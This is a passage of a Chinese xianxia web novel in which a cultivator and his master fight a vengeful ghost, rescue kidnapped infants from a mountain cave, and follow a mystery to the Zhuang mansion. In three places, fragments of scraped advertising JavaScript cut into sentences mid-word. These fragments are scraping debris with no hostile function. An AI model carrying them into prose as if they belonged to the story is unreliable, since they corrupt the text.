青色长剑同季宿白那柄一起,刺穿了对方的肩膀。 “啊啊啊——” 怨鬼尖利的叫声震耳欲聋,她猛地往后退几步,却依然没有要离开的意思,反而是双手一挥,张大壮旁边被折断的木枝便悬在了他的胸口。 “带人去里屋!” 宁归砚偏头对身后的两人说道,一脚踏出护阵,嘴里念着术法的咒语,将悬在张大壮脑袋上的木枝给挥开。 那怨鬼被季宿白又击退几步,猩红的眼睛直勾勾往宁归砚这边来,大概是看出他没什么实在的能力,一脚蹬在围栏上便换了方向袭来。 宁归砚反应过来,侧身躲开,还是被对方抓伤了手臂,右臂上的布料被全部撕扯下来,在白皙的皮肤上留下黑红的灼烧痕迹。 “嘶!” 宁归砚痛哼一声,捂住手臂,滚烫的鲜血将他的指尖将缝隙填满,浓郁的血腥味很快逸散开。 他翻滚踢开捏住他手腕的家伙,远处的长剑飘回来砸在两只手间,将两人的距离拉开。 季宿白捏了个咒决将那怨鬼击退,宁归砚捂着伤口后撤开好几步,他眨了眨眼睛,对上那邪祟的目光。 对方发出低吼的喉咙动了动,鲜血溢出,随后那张下耷的嘴扬起,露出一个诡异的笑容,她似乎感觉不到季宿白打在她身上的术法,身体残残破破朝着宁归砚过来,手掌即将抚上胸膛时,被猛地震开。 “愣着做什么?” 季宿白清冷的嗓音拉回宁归砚的思绪。 宁归砚他慌忙扭开身,进入方才自己设下的阵法内。 怨鬼大抵是先前消耗太多,破不了宁归砚这阵,却依旧不依不饶地冲着宁归砚来。 宁归砚看着外面的情形,低头瞧了瞧他的伤口,捂住发闷的胸膛抬目朝季宿白那边看过去——长剑已经没入那怨鬼的胸膛,对方看着奄奄一息。 忽然一阵清脆的铃铛声响,宁归砚身下的阵法遽然破碎,好几根被折断的尖长的木枝横扫过来,眼看着就要刺入宁归砚的胸膛。 季宿白正要解决面前那东西,耳边阵风起,伴随声音响起时他瞬间消失在原地,长剑被拔出堪堪将那断枝给挡住。 宁归砚双眼一闭,疼痛却没到来,他睁眼,瞧见身前的背影,短暂怔了怔,随后侧目瞧过去,那被压制完全的怨鬼早已经不见,只留下遍地的血痕和打斗痕迹。 季宿白抬手将剑握住,侧目瞧了眼宁归砚:“这里你解决。” 说完,抬脚追了上去,看方向,是朝山里去的。 宁归砚松了口气,没去屋内看林言言几人的情况,反而转身朝屋子后面的小路看过去。 小路不远处的树后,站着一个挂着铜锣的男人,对方似乎是在看着这边,等宁归砚瞧过来,摇了摇腰间的铃铛,才缓步转身。 宁归砚瞧着那人影消失也没有要动手的意思,且消失的方向和季宿白追去的方向差不多,他微微蹙起了眉头。 站在原地思忖了一会,宁归砚扶额将被撕破的衣物扯成布条,忍着痛将手臂上的伤口缠住。 伤处的灼烧感太具有存在感,他瞧了两眼,没去管,反而抬脚跟着打更人消失的方向过去了。 那人不出手,总不会是不想趁人之危吧。 14. 呀! 一路跟随着铃铛声上了山,半山腰时声音就消失了。 宁归砚皱着眉停下,往山下瞧了两眼,担心那打更人又打个回马枪。 虽然景弗他们也会一些术法,但终归才进入天一山,势必没有什么自保能力。 宁归砚犹豫了片刻,将目光转向山的另一头。 没记错的话,越过这座山,就是另一座城了,季宿白就算是要去找他,也得先把廿城这边的事情解决,那时候他想走,怕是不容易被找到。 捏着腰侧黄玉上的手紧了紧,隐约的铃铛声再次传来,还伴有些许的血腥味。 宁归砚咬咬牙,迈开步子朝上行。 季宿白依然还在和那怨鬼缠斗,周围的树木都被折损半成,大都是残枝断桩,横在前路的枝叶挡住了身形。 宁归砚唤出法器化剑,扒拉开面前的遮挡物,却没看见打更人的踪迹,倒是和那怨鬼撞了个正着。 对方眼下流着血泪,身躯上大大小小的伤痕,喉间发出溢血的呼喊,令人头发一震,一时间竟然忘记躲开。 那怨鬼抬手掐住宁归砚的脖子,抬手一拍,一口血从宁归砚嘴里喷出来,许是鲜血是惹得对方忽然兴奋,掐在脖子上的力道更重了些,却没有要直接扭断的意思,反而一个侧身,把人当做了俘虏。 兴许是本就有伤处,再被这样打上一掌,失了气血,宁归砚觉着有些头晕脑胀,也听不清对面季宿白的声音。 怨鬼让宁归砚挡在身前,季宿白便收了刺过来的剑,立于前方冷眼瞥着,启唇警告:“放开。” 这警告气不了什么作用,不仅没有放开,还抬手将宁归砚脑后的头发一拉,脆弱的脖颈便暴露在眼前,随后那怨鬼手一抬,咧开唇笑了几声,将宁归砚眼前的遮挡扯下。 宁归砚煞白的脸庞被扭着朝向那张可怖的瞧不清的脸,但那脸上有颗美人痣,想必生前,也是极美的人儿。 光亮来得猝不及防,宁归砚闭了眼又挣开,眼尾的泪顷刻就落下了。 他未被束缚的两指划动几下,身后的长剑倏然刺入身后怨鬼的胸腔。 “啊啊啊啊——” 一阵长吼,宁归砚被猛地推开,法器上伴有的咒印在怨鬼体内生效,他也被人接住,没丢脸地腿软趴在地上。 宁归砚被撑着站起,抬眸看向季宿白,正要道谢,却见对方神色忽然一变,抓着他的手紧了紧,捏得手腕发疼。 等身后那怨鬼将宁归砚的法器拔出,季宿白才将目光从宁归砚脸上移开,却并未再出手攻击那怨鬼,反而是任由那邪祟跑了。 宁归砚蹙眉要追过去,被季宿白抓住,他还没出声,就听见对方冷着声音发问:“你的眼睛... ...” “什么我的眼睛,不捉拿那怨鬼吗吗?师尊拦着我干什么?” 宁归砚挣了挣手腕,对方不为所动,反而抬手钳住宁归砚的脸,目光上下逡巡一番,在宁归砚无法忍耐下颌的疼痛时出声。 “不用追,我在她身上施加了术法,到时候能沿着痕迹找到,正好看看能不能找回那些失踪的婴儿。” 季宿白说罢,松开宁归砚的脸,弯下腰将地上的黑纱捡起,直起身递过去:“戴上吧,此刻阳光正盛。” 这番关心来的突然,还有些摸不着的头脑。 宁归砚接过快速系上,感觉到眼前的光线暗下来,眼睛也舒服了许多,这才想起来问:“师尊为何肯定?” 季宿白将躺在地上的青玉色长剑拾起交予宁归砚,叫人跟上,适才回答:“她身上怨气不重,若是那些失踪的人都遇害,不会这么轻易能对付。” 说罢,瞥了眼宁归砚手臂上的伤势,见人嘴唇发着白,拧眉向前迈上一小步。 “能自己走吗?” 话音未落,便听见身边‘砰’的一声,宁归砚又直愣愣地晕厥了,这下是再怎么唤,也没能唤醒。 林言言在屋子里等了半天,听见外面没了动静,又焦急了好一会,随后叫景弗出去看看,自己在屋内安抚张家娘子的情绪,偶尔问她两句话。 等景弗带着消息回来,张家娘子已经回了神,目光聚在林言言身上,但对景弗确是警惕得很。 林言言使了个眼神,景弗点点点头出去了。 门关上后,林言言弯起唇,拍拍张家娘子的手,安抚着询问:“张大娘,你莫急,你丈夫我们已经替他暂缓了伤势,只是这而距离城内有些远,来不及叫大夫,我们又不能离开,怕你们再遇到什么危险,但你放心,那害人的邪祟我们一定能除掉的!” “不是... ...不是... ...” 林言言看着张家娘子忽然声泪俱下,一时惊讶,忙抓住张家娘子的手,小声安抚。 “您别着急,我在呢,我听着。” 张家娘子死死抓着林言言的手,眼尾发红,她捂着肚子,指了指自己脖子上的红痕,哭得断断续续。 “不是,她没害人,她在帮我,在帮我,她只是,只是... ...” 还没说完,便捂着肚子,瞪大了眼睛呼叫起来。 “好疼... ...生了,我要生了!我的孩子... ...” 林言言见床榻上的湿润,立刻抓住对方的手询问稳婆的住址,随后叫了景弗来,叫他去村内找稳婆。 临了季宿白背着宁归砚回了张家的屋前,见急匆匆出去的景弗,季宿白拉住他询问:“里面怎么了?” 景弗冷淡的脸上多少有些急切,朝季宿白背上的宁归砚瞧了一眼道:“人要生了,师尊,我去找人。” 闻言,季宿白松了手,见景弗走远,他将宁归砚放在屋外的厅堂长椅上,随后便走到屋外的围栏前,捏住几张符篆,嘴唇稍动,刻满符文的阵法便在脚底生效,将整个屋宅都笼罩了起来。 宁归砚昏过去没多久,便被难言的冷意给折磨醒了,他眨了眨眼,发觉自己躺在长椅上,艰难起身后端坐,手撑在方桌上。 手臂上的伤痕此刻已经止住了血,但目样狰狞,碰了一下便疼得表情扭曲。 宁归砚稍稍蹙眉后展平,表情平稳地撕下一块布,他将伤处绑上,随后从储物袋内拿出数十瓶药瓶,找到一蓝纹瓶身的,倒出其中的青绿色药丸吃了下去。 周围刺骨的冷意消散许多,宁归砚深吸了口气,感叹林自潜给他的东西还真不赖。 吃完这颗,他将剩下的药瓶都一一打开,一口气吞了好几粒,等景弗带着人回来的时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 候,宁归砚的面色已经如常了,不像是被魔气侵体受过伤的样子。 如果不往他的手臂上瞧的话,自然是的。 宁归砚多多少少听见里屋的声音,大概能猜到些,他起了身,和景弗一同守在外面,不出多时便叫景弗先看着,随后出了屋子,同站在门侧靠着墙闭眼假寐的男人打了个对眼。 “醒了?” 季宿白并未睁开眼,只是微微张了嘴,将手里拎着的东西扔过去——正是他给宁归砚的那枚黄玉,不知道何时到了季宿白手上。 宁归砚不动声色地接过,扬唇一副感激的模样:“多谢师尊,我正寻这东西呢,兴许是在山上不小心掉落了。” 毕竟这串着黄玉的绳子,又不是钢筋铁骨做的,丢了也自然。 季宿白闻言才睁了眼,眸光泛着冷意,像夜晚特别的反射光,透过镜子让人不敢直视。 宁归砚却是毫不避讳地与他对视,神态自然,竟然叫人挑不出半分错误。 “以后若是再丢了,可保不准在哪能找到。” 季宿白丢下这样一句话,手里的剑一扭转,剑身掠过宁归砚的衣角,将他本就破破烂烂的衣衫又添上了一把火,随后留下一个潇洒的身影进了屋子。 宁归砚低头捻着衣角,看着地上被削下的布料,眼眸暗了暗,分不清季宿白的意思。 他这是发现他并非本人了,还是发现他想跑? 或者是,单纯看他不爽。 可不管是哪种,也只透露出一个信息——这里呆不得了。 将手中的黄玉收起,宁归砚进了旁侧的灶间,帮忙烧了热水后,便在灶间呆着不走了——一是不想看见季宿白,二是心里在暗自计算。 临到夜间,一声婴孩的啼哭声响起,宁归砚沉沉的意识回笼,他走到灶间门外,将门缝展开些,瞧见景弗送那稳婆回去,而季宿白还在那门外闭眼站着,像极了一尊活阎王。 天色已经稍暗了,整整快两个时辰,黄昏洒满了这周遭,站在门前的男人忽然睁开眼,朝灶间瞧了瞧,只看见紧闭的门窗。 他站了一会,拿上剑,抬步走过去敲了敲门。 宁归砚在里应了一声,随后打开了门,手上还捧着一碗白粥,是他方才煮的。 “师尊。” 他恭敬地叫了一声。 “要吃点吗?” 没等说完,手忽地一抖,将那粥洒在了季宿白身上。 “呀!师尊,是弟子不小心,没烫着吧?” 季宿白瞧着那张无辜的脸,嘴唇牵了牵。 “无事,再盛一碗送去吧。” 说完便拂手皱着眉离开了。 宁归砚看着人离开,眼底露出得意,只是被眼前的东西挡住,看上去也只是那么一些羞赧的笑。 他观察了大半辈子的人,一些小习惯和禁忌,自然是看得出来。 宁归砚又盛了碗粥,顺便叫上屋内的林言言一块去。 林言言也不客气,说着“要尝尝师兄的手艺”,话音落便失了意识,陷入一片昏黑当中。 “抱歉,先睡上半个时辰吧。” 宁归砚弯唇笑了笑,将灶间的窗户大开。 随后他跳了窗。 15. 徐娘啊徐娘 婴儿的啼哭声很快就歇下去了,宁归砚跳下窗没入窗外的草从当中,那枚黄玉被他丢弃在灶间。 没走出几步,就再次听见清灵的铃铛声,冲破季宿白设立的阵法,断断续续地传入。 宁归砚停了脚步,侧过身看向里屋的窗户——此刻窗户紧闭着,偶尔传来林言言和张家娘子欣喜的声音。 他闭了闭眼,又仔细听了一会,那隐隐约约的人铃铛声愈发大了,来源地是张家的围栏处。 忽然脚下亮起光阵,寓意着有人在冲破这阵法,宁归砚听见急促的脚步声,随后便是铃铛声远了,他收回视线,压下心底的不安,抬步朝着远处离开。 这村内的路并不好走,他还特地选了条几乎没人会来的荆棘荒林,走得差不多远了,却在半路听见了婴儿的啼哭声和铃铛声。 宁归砚停住脚步,带着好奇心快速躲避在旁侧的树后。 过来的是之前接触过的刘大哥,腰间系着一个铃铛,手上还抱着个孩子,神色匆匆,越过宁归砚躲藏的地方就朝着深处走去。 而这荒林的深处,可没什么房屋,更谈不上有去处了。 宁归砚拧着眉跟上去,随着人走了一会,随后便见刘大哥忽地停住,将孩子紧紧往上举起,看样子一不留神就会摔下去。 他恶狠狠地看着前方,语气嚣张。 “别再过来,再过来,我就把你儿子摔死!” 说完,前方便影影绰绰晃出来一个影子,最后凝聚成型,成了那满身污秽鲜血的怨鬼。 婴孩啼哭的声音很大,将她的低声怒吼都掩盖下去,那双猩红的眼睛死死盯着刘大哥手里被高举的孩子,周围的风声都弱了下来,连偶尔晃动的树叶都瑟瑟发抖。 刘大哥见那怨鬼听话,大笑两声:“徐娘,你早该料到有这天的,你说说,你死了就死了,偏偏还要化成鬼觊觎别人家的孩子,害得人心惶惶!” “果然是上不得台面的优伶,有幸被庄家的老爷看上,不得宠了就闹着自杀,没成想你真死了,倒便宜了我。” 他将手上的婴孩晃了晃,前方的怨鬼便趴下地,低声吼了一下,这样的吓唬显然没法让刘大哥有丝毫的改变。 孩子的哭声越发大了,怕将人招来,就捂上了嘴。 随后数十张符篆从那姓刘的袖中挥出,全部牢牢贴在了那怨鬼的身上。 脸,手,脚,统统没有放过,如同一张无形的网将其笼住,随后灼烧,炙烤,带着要化为烟雾的目的。 “徐娘!” 刘大哥呵了一声,他将手中婴孩的脖颈笼住,笑声放肆。 “我知你不甘,心中怨念难以化解,不如就替我做了嫁衣,这孩子,我就放过他,如何?” 徐娘在地上抓出深刻痕迹的手抓住了旁侧的树桩,将树桩都划出几道痕迹,露出内里的白色,还粘连了一点血肉的痕迹。 她猩红的双目死死盯着男人手里的孩子,似乎听懂了对方的话,露出的尖牙收起,松开紧张的手,表情舒缓起来,瞧着有些脆弱地跪倒在地,将头颅都抵在泥土上。 被勒出红痕甚至露出皮肉的脖颈随着‘嗬嗬’的声音有些许的起伏,一个怨鬼跪倒在一个手无缚鸡之力的普通人面前,显得心甘情愿。 刘大哥哈哈笑了几声,眼里冒出精光,从衣袖中又拿出几张符篆:“别怪我太残忍,替我去换了那些赏金,也算是为你死去的孩子积德了,哈哈哈哈!” 他话落,抬手便要将符篆贴在徐娘身上,还没触及,被一柄横飞来的灰黑长剑剑柄击晕。 徐娘见状,立刻挣脱了那些束缚他的符篆,在符纸化为灰烬后将从男人手中落下的婴孩抱在怀中,朝着深处逃离去。 宁归砚迅速缩起身形,念起咒法将自己身上的气息隐藏,随后把林自潜给他的那枚玉佩放入储物袋,免得这玉佩上过于浓郁的灵气引人怀疑。 季宿白后脚赶上,瞧了眼躺在地上不省人事的家伙,对身后的景弗叮嘱:“抗回去。” 随后微微朝身侧的树荫后一瞥,暗了暗神色。 “照顾好你师姐,我去找人。” 两人分开,宁归砚松了口气,从树后露了眼,循着季宿白离开的方向犹豫几秒,准备换条路走。 “叮铃铃。” 清悦的铃铛声又抚上叶片眼梢,青年侧目,腰间的长笛瞬间掠过身后一处的树影,树后缓缓走出来一人,肩上未再挂着那瞩目的铜锣。 “又见面了,公子。” 宁归砚看着他不说话,对方便开口报了姓名。 “见过那么多次,还未曾自报家门,在下徐应,廿城人士,恰逢对仙门略有了解,宁仙士的名号,有所耳闻。” 宁归砚淡漠的眉眼忽地上扬,语调也稍显奇怪:“徐应?” 徐应:“正是。” “公子身上的伤不轻,可需要我帮忙?这忙,那位仙尊可帮不了。” 宁归砚轻笑一声,将插在树内的玉笛唤回,他把玩着,漫不经心道:“好啊,那我看看,你要怎么帮。” 彼时夜已深了,季宿白一路跟着那怨鬼的气息追寻到山内,却始终没有找到那邪祟的踪迹。 他停下来,在微弱的风声中竖起耳朵,仔细听周围的动静,随后果断往另一侧跑去。 几息时间,人跃至山腰,从一侧的山洞飞跃到另一侧,洞内的荧荧之光显露在眼前。 季宿白收起剑,正要往前跨出去,忽然抬手将剑横起,径直朝侧方发出窸窣声响的草从中挥去。 “师尊,是我!” 宁归砚被横在眼前的长剑吓了一跳,刚露出来的脸又被吓回那从灌木之后,在季宿白愣了愣收回剑后,才拍拍手上的泥土坐起,还从衣袖内掏出一个火折子点燃。 火光照清了两人的脸,宁归砚脸上添了些泥土,还有被割破的眼纱,眼角处大约是被树枝划伤,能隐隐瞧见那双映着火光的眸子,却瞧不清瞳孔颜色。 宁归砚微微瞥开了眼,大约是对这强盛的光亮不适,随后先声制人:“师尊为何在此?” 季宿白闭上他刚要发出调的唇,冷着脸看了宁归砚几秒,才缓缓回答:“追那怨鬼。” 紧接着眉眼一凝,眼神锋利起来。 “不好好呆着保护你师弟师妹,你跑到这来?是做什么?” 宁归砚略微羞愧地笑了笑:“是我考虑不周全了,想着师尊设下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的阵法必定是不会让任何东西进来的,又恰逢在屋外听见铃铛声,和那怨鬼身上的铃铛声音各位相像,便出去看了眼。” “然后瞧见师妹被打晕,就追出去,就一直追到了这,没想到遇到了师尊... ...” 他顿了顿,又作无辜:“师妹如何,可还好?” 季宿白像是未听见他的话,瞧着那双眉眼看了半天,抬手要张嘴回答的时候,嘴里是另一个问题。 “眼睛惧光?现在夜了,摘了。” 说着,手指搭在宁归砚太阳穴边缘的纱上,摩挲着令人头皮发麻。 没等宁归砚自己从疑惑中脱离出来动手,季宿白就将那黑纱拉下,露出宁归砚那双清澈的,在火光中明晰的眼睛。 季宿白怔了怔,仅仅数秒就移开目光,将手中的眼纱递还回去。 宁归砚接过,对方便将他手上的火折子拿上,他低头时,季宿白说了句不清不楚的话语。 “眼睛倒是好看,可得好好护着。” 这莫名其妙的关心让宁归砚一怔,他匆匆将眼纱换了一条系上,迎着前方的光随着季宿白进了那洞口。 洞内的味道很重,膻味多,骚味也多,一进去两人都难忍地捂住了口鼻,手中的火折子也迅速被季宿白熄灭,随后捏起符篆,光点在四周爆开,瞬间将这偌大的洞穴给照亮。 里面不少的羊和婴儿,还有几个被束缚住手脚甚至连嘴都被塞住的人,他们身上的衣服各样,部分是来自其他外宗的子弟。 这些人中,被暂定为失踪的那几位正在其中,见到了宁归砚便瞪大眼睛挣扎着,嘴里呜呜咽咽说不出话来。 宁归砚立刻前去将几人嘴里塞的布块拿出来,给他们解开身上设下咒法的绳子。 好在绳子上的咒法也不难解开,他随身带着的那几本书里有口诀,心里默念再跟着季宿白有样学样也能混过去。 洞内十几个人,解开束缚后纷纷向宁归砚两人道谢,随后同两人一齐看向旁侧开始啼哭的孩子,一共十八名,正是城内官府告示上寻的那十八名婴孩。 洞内被困几人为首的开口,穿的是天一山内门子弟的衣服。 “大师兄,这洞内囚了个怨鬼,但怨气不算深,捉了这十几名婴孩来,却不伤性命,反而... ...” 他眼神一转,将视线飘向那些被绳子系在一根深陷岩石中的木桩的羊。 都是哺乳期的母羊,身下还放着几个破破烂烂的木碗,做的不精细,像是随地找了快木头磨的,有些则是不知道从哪儿捡的,里面还有饭粒和糊在碗上的灰尘。 宁归砚将目光放到那些婴孩的身上,的确没收到什么伤害,但因为离开母亲太久,即便是每天都有羊奶能够补充,也是比不上母乳的,便是啼哭的那几个婴儿,气息也有些微弱了。 他将其中一个抱起,将孩子交给一位师弟,随后扭头朝身后十几人嘱咐:“麻烦各位帮忙带下山,直接去医馆。” 天一山师弟抱着孩子拧眉:“师兄你不跟着下去吗?” 季宿白拉过宁归砚的手,将旁边束缚羊群的绳子砍断。 “他要跟我在这。” “守株待兔。” 16. 疯婆婆 洞内的光已经灭了,季宿白将两人的气息都隐藏起来,躲在岩石边缘的位置,还靠近着洞口。 这场守株待兔并没有持续太久,天微微亮前,有隐约的哭声透过细碎的叶片传入到洞侧,还伴随羊惊惧的叫声,此消彼长。 在声音靠近的时候,季宿白毫不犹豫出手,剑击和打斗声不断响起,偶尔还伴随母羊更加高昂的叫声,在被徐娘松手后踏着脚蹄便没了影子。 宁归砚站在阴影之后,能通过天光瞧见徐娘怨恨的目光,她手中紧紧抱着孩子,和季宿白缠斗,身体是被撕破的残碎的衣物飘飘荡荡,怨恨却是聚成坚固的岩壁。 眼见着季宿白的剑便要将人束缚住,徐娘没抱着孩子的那只手被刺穿,或许是看在孩子的面子上,没刺穿她的胸膛。 忽地一声不同于徐娘身上因为动作激烈而晃动出的混乱铃铛声,清潭的水流入了河径,徐娘短暂地恍神了一下,宁归砚便抓住机会见她手中的孩子夺下,随后在季宿白之前抬手一击,将人击退至洞前。 季宿白对宁归砚的举动皱了皱眉,他顺着另一道的声音看过去,匆匆掠过去的人影只留下尾迹,却也只能瞥上一眼,连身形都看不出来,在徐娘站在洞前时将甩出去的剑唤回,快速默念起术法的咒语。 剑光和徐娘的消失一同,季宿白看着空荡荡的地方眉头皱得更深,随后偏看向宁归砚——对方抱着孩子,对方才发生的事情毫无愧疚之心,指了指怀里的婴孩。 他道:“师尊,先送孩子回去吗?怨鬼已经跑了,之后再去追吧。” 季宿白将剑转了一圈,剑尖从发尾中穿过,他别开冷漠的视线,抬步朝悬崖边走过去,走了几步又伸出手。 宁归砚顿了顿,将孩子交给他,随后看着人乘剑飞了下去。 宁归砚留在原地,手心握着他那边玉笛,嘴唇扯了扯,脏话最终还是没说出来,只是抬步朝左边去,从他上来的那条小路下去,也慢不了多少。 宁归砚到张家时,天已经大亮了,孩子被送回了母亲的怀里,此刻酣睡着。 他站在一旁,在周遭望了一圈,屋舍外的东西都被林言言和景弗摆放到原处,被损坏的物品季宿白也给了赔偿,只是少了点人。 宁归砚走出门,瞧见在舍前打扫的景弗,拍了拍他的肩膀,笑了笑道:“师弟,我来吧,辛苦了!” 景弗看着他,摇摇头:“不用,师兄你去休息吧,不能给你干活。” 宁归砚皱眉:“为什么?” 景弗眼珠子望门口瞟了下迅速缩回:“师尊说,师兄身体不好,什么活都不能干,出门也要人陪着,怕您在外面出事。” 他说完,自己心里也有点不可置信,睁大眼睛看看宁归砚,嘴唇嗫嚅几下,被宁归砚打断。 “所以呢?” 宁归砚脸上是带着笑意的,语气却让景弗有点怵。 他平时不和宁归砚怎么接触,而且认识不久,对方大体的形象就是一个得体温和的师兄,没成想偶尔也有点小脾气,只是着脾气有些莫名其妙的。 感觉到自己语气里的质问,宁归砚反应过来,将景弗手中的扫帚拿过来,语调放温和了些:“师兄身体好得很,只是受了点伤而已,不用看待半死人一样看待我,而且出门都要人看着,我岂不是成了孩子?” 他说完咧开唇给景弗一个放心的笑容。 “去帮你师妹吧,她一个女孩子,可顾不了张大壮那大男人。” 景弗也没再说不是,朝屋内看了看,点点头就过去了。 宁归砚见人进了屋子,瞥向门外和屋顶,都没有人影,于是脸上的笑收敛,心里都是对季宿白的愤懑。 “出门怕出事?是怕我跑了吧,啧,这人真烦。” 屋内的几人都围在一块,但林言言却并没有在照看张大壮,床上的男人早就不见,周围还少了好些东西。 她搬过一个小木凳,手里抱着孩子轻哄着,脸上有些好奇又溢满疼爱,在孩子嘤嘤叫时抬起手指在婴孩的鼻头上格外轻地碰了一下。 景弗进门,看见睡过去的张家大娘子,敲了敲门,林言言扭头看见他,便起身抱着孩子叫上他一块出去。 两人在外屋长登上坐下,林言言将孩子交给景弗:“抱稳了,别乱动啊,我喝口水,渴死我了!” 景弗当然不敢乱动,接过就直愣愣地站着,跟个木桩子似的。 林言言喝完,瞧着他那严阵以待的样子,噗呲一声笑出声,连忙将孩子接过来。 “师姐。” 景弗见她笑的毫不避讳,有些羞赧,耳尖红了点,支吾半天,在林言言好奇地目光内想起自己原本要问的事情。 “张大壮呢?” 林言言挑了下眉,朝里屋看了眼,撇撇嘴不满:“把屋子里的钱和值钱的东西拿了跑了,谁管他呢?臭男人可别再回来,看见一次打他一次。” 说这话时咬着牙,像要把人咬碎,看得景弗一阵后背发冷。 宁归砚扫完外面的地进屋时,便看见林言言盯着他看,于是疑惑着瞧过去。 “怎么了,师妹,有什么事情要说?” 林言言动了动嘴唇,不知道怎么开口。 宁归砚看出她眼底的犹豫,笑了笑:“我方才瞧见,张大壮背着包裹瘸着腿跑了,他身上的伤,你给他治好了?” 林言言说到这个就来气:“他身上的烧伤是怨魔气所致,驱了身上的怨魔气就能自己好,还浪费了我爹给我的药呢,那个人就是个胆小鬼,就不该救他,让他疼死!哼。” 她说的气话,宁归砚也知道,笑了笑安抚:“别人家的事情,我们管不了,不过刚刚师尊来信。” 他说着,抬手将一张符纸亮出,上面开始浮现几个字,显然是季宿白的口吻。 “时间不早,我们该回客栈了。” 林言言担忧地看向屋内:“那张家娘子... ...” 宁归砚将他放在桌上的东西拿上:“天一山外门,不是缺厨娘?我瞧着,张大嫂的手艺甚好,若她愿意,我同林长老说一声,也不难。” 林言言立刻亮了眼,伸手抓住旁侧的景弗:“师弟,我们一起帮忙收拾吧!” 她说完,就见宁归砚径直出去。 林言言:“师兄!不和我们一块回去吗?” 宁归砚并未回头:“刘家那边的阵法,需要处理一下,放久了会引来别的东西。” 说罢,人便没了踪迹。 等赶到刘家那羊棚时,里面已经空荡荡的没有一个人或者一只羊了,便是连着周围的符篆也被人扯了干净。 宁归砚转身回城内,在村内问过人,说是城内来了官兵,将那羊棚里的羊都给带走了,连同带着走的还有姓刘的,至于那周边的符篆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,据说是一个道长破解了。 这‘道长’是谁不言而喻。 回到客栈后,宁归砚和几人打了个招呼,只匆匆见到季宿白一眼,对方那时正要出客栈去,同他经过,两人打了个照面,还没来得及问去做什么就没了影子。 虽然怨鬼被伤得很重,很长时间都没法在城里作乱了,但廿城的事情还没完全解决,因此宁归砚叫林言言两人先传书回宗门,暂缓回宗的时间,顺便嘱托那些被解救下来的师弟师妹带上张家娘子返程。 待到深夜,宁归砚将屋内的灯火熄灭,他等了一天,不见季宿白回来,于是打开窗户,从窗口跳了下去。 大约是官府的出动让百姓安心了不少,夜间的灯没有前几日那样亮堂了,但照明也足够。 宁归砚按照记忆寻到一处商铺,笑看着蹲在商铺前抱着一个空碗昏昏欲睡的孩童,抬脚将脚边的石子踢了踢。 那乞儿醒了,惊喜地看着宁归砚,就像他看着热腾腾的馒头一样,虽然本质意义上都是一样的。 宁归砚看着他搓了搓手臂,将自己拎着的外袍扔出去。 “穿上吧,别冻死了。” 小乞儿瞪大了眼,嘴上埋怨身体却诚实得很。 “我身体可比你的要好,一天没见你,你看你都什么样了,说不定我还活得比你久呢!” 他将衣服披上,小心翼翼地闻了闻。 “你找我吗?你的衣服好香啊,你是不是吃了什么好吃的?” 宁归砚瞧着那身上好的大氅,闷头笑了声。 “我可穿不上这么好的东西,从别人那儿顺来的。” 小乞儿抬眼:“是不是要还回去?” 宁归砚:“不还。” 小乞儿:“为什么?” 宁归砚:“因为他让哥哥我受了点伤害,我这个人记仇。” 小乞儿:“哦,你想让他跟你道歉。” 宁归砚:“我不异想天开,我给你的铜钱用完了?” 小乞儿挠了挠头:“妹妹要吃饭,弟弟也要吃饭,还有爷爷... ...” 宁归砚打断他:“好了不用说了,给你这个,带我去找那个疯婆婆,我想知道她住在哪。” 看见宁归砚从兜里掏出来一串铜钱,小乞丐满肚子的话憋成一句:“为什么找她啊?她玄玄乎乎的... ...” 宁归砚低头看着这孩子,叹了口气敲了下他脑袋。 “再废话,馒头没有了。” 小乞儿:“走,我们现在就走吧!” 庄府附近的夜还是那样黑,总有风吹过,伴有呜咽声,分不清是从哪里传来的,毕竟是乞丐的窝,可能四面八方都有。 宁归砚停在庄府前,默了几秒叫小乞丐快些回去。 “等会回去之后,哄弟弟妹妹睡觉,听到什么声响都不要出来。” 他盯着小乞丐的眼睛。 “我可救不了你,保不准自己都会死。” 闻言小乞丐抱着外衣就跑了,临了回头看了宁归砚一眼。 人离开没多久,便听见‘叮铃铃’的铃铛声,它们奏出一股哀伤悲怨,又将其刻入这周遭,成了化不去的愤恨。 “叮铃铃。” “家在廿北,为乐为愿,生儿生女,多姿多活... ...” “生儿生女,多姿多活... ...” 17. 是庄家害你啊 人声和铃铛声被卷在呼啸的风中,周遭被卷起的落叶落花和尘埃掺和在一块,竟然是谁也分不清谁。 “生儿生女,多姿多活... ...” 那歌谣又换了个调,惆怅哀怨,多增伤感,又见欢愉。 宁归砚将手中玉笛化为长剑,抬起手将其横在身前做出防备的姿态,随后颔首,朝庄家的大门跨出一步,那阴森森的风便更盛了,像一群小鬼在他周边游荡着嬉闹。 他也确确实实看见了一群小。 庄府的门被打开,一只苍白枯干的手掌抓住铁环敲了敲,声音响震。 那只手的主人披头散发,灰白色的头发将主人的面容遮挡去一半,苍老的面容上是严肃的表情。 她佝偻着身躯,几乎要屈膝弯下来似的,手上拿着一根拄拐已经有些岁月的拄拐上挂着一串纸钱。 那纸钱的旁侧和后方,都有无数双眼睛朝外看过来,正中心围着的——是徐娘。 徐娘的四肢被困在一条时而显现的铁链中,她的脸上干净了很多,不再是初见出满脸鲜血和痕迹的可怖模样,那是一张美人脸,张了一颗美人痣,周围被扣得鲜血淋漓,但痣还在。 她的眼睛还是红的,和眼尾的红晕比却淡了不少,那声声哀怨的歌声,便是从她几乎被扭断的喉咙里发出的。 “离开这里。” 开门的婆婆抬起头,平淡的灰色眸子混沌,她看着宁归砚手里的剑,忽然发低笑。 “仙门... ...哈哈哈哈!走吧!走吧... ...” 说完,抬手将铁环一拉,那大门便关上了,还伴有互相作用之后的余震音响。 疯婆婆是见不到了,但周围那无数只贪婪地盯着宁归砚的眼睛忽然出现在庄府的上空。 他抬头看过去,心头被一震。 这不会,都是那被烧死的庄家百多人吧?我的老头爷啊。 宁归砚滚了滚喉咙,闭上眼睛逼迫自己不去想,他握紧了手里的剑,给自己打气,数秒后还是放弃,从储物袋内拿出一枚引符,正要点燃去唤他那便宜师傅来,手上符纸忽然被风一吹,那大门轰然被掀倒。 